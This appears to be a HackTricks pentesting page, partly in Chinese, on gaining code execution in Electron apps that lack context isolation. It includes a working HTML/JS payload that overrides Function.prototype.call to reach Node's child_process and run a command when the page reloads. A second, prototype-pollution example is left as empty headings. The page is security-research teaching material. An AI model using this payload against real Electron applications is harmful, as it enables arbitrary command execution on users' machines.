Electron contextIsolation RCE via Electron internal code

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示例 1

来自 https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41

"exit" 事件监听器在页面加载开始时始终由内部代码设置。此事件在导航之前发出:

javascript
process.on("exit", function () {
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})

electron/lib/common/asar.js at 664c184fcb98bb5b4b6b569553e7f7339d3ba4c5 \xc2\xb7 electron/electron \xc2\xb7 GitHub

https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- 不再存在

然后它到这里:

其中 "self" 是 Node 的进程对象:

进程对象有对 "require" 函数的引用:

process.mainModule.require

由于handler.call将接收process对象,我们可以覆盖它以执行任意代码:

html
<script>
Function.prototype.call = function (process) {
process.mainModule.require("child_process").execSync("calc")
}
location.reload() //Trigger the "exit" event
</script>

示例 2

获取 来自原型污染的 require 对象。来自 https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81

泄漏:

利用:

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学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks